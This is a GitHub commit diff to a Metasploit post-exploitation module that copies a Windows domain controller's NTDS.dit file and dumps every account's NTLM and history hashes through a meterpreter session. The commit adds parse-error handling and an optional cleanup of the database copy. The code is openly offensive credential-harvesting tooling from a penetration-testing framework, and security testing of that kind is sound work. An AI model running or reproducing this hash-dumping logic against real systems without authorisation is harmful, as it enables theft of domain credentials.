Skip to content

Commit 53a068d

Browse files
committed
Add error handling for failed hashdumps
1 parent 8b9e091 commit 53a068d

File tree

1 file changed

+27
-11
lines changed

1 file changed

+27
-11
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 27 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,9 @@ def initialize(info={})
2828
'SessionTypes' => [ 'meterpreter' ]
2929
))
3030
deregister_options('SMBUser','SMBPass', 'SMBDomain')
31+
register_options(
32+
[OptBool.new('CLEANUP',
33+
[ true, 'Automatically delete ntds backup created', true])])
3134
end
3235

3336
def run
@@ -40,19 +43,32 @@ def run
4043
print_status "Repairing NTDS database after copy..."
4144
print_status repair_ntds(ntds_file)
4245
realm = sysinfo["Domain"]
43-
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
44-
print_status "Started up NTDS channel. Preparing to stream results..."
45-
ntds_parser.each_account do |ad_account|
46-
print_good ad_account.to_s
47-
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
48-
ad_account.nt_history.each_with_index do |nt_hash, index|
49-
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
50-
hash_string << ":#{nt_hash}"
51-
report_hash(hash_string.downcase,ad_account.name, realm)
46+
begin
47+
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
48+
rescue Rex::Post::Meterpreter::RequestError => e
49+
print_bad("Failed to properly parse database: #{e}")
50+
if e.to_s.include? "1004"
51+
print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
52+
end
53+
end
54+
unless ntds_parser.nil?
55+
print_status "Started up NTDS channel. Preparing to stream results..."
56+
ntds_parser.each_account do |ad_account|
57+
print_good ad_account.to_s
58+
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
59+
ad_account.nt_history.each_with_index do |nt_hash, index|
60+
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
61+
hash_string << ":#{nt_hash}"
62+
report_hash(hash_string.downcase,ad_account.name, realm)
63+
end
5264
end
5365
end
54-
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
55-
rm_f(ntds_file)
66+
if datastore['cleanup']
67+
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
68+
rm_f(ntds_file)
69+
else
70+
print_bad "#{ntds_file} requires manual cleanup"
71+
end
5672
end
5773
end
5874
end

0 commit comments

Comments
 (0)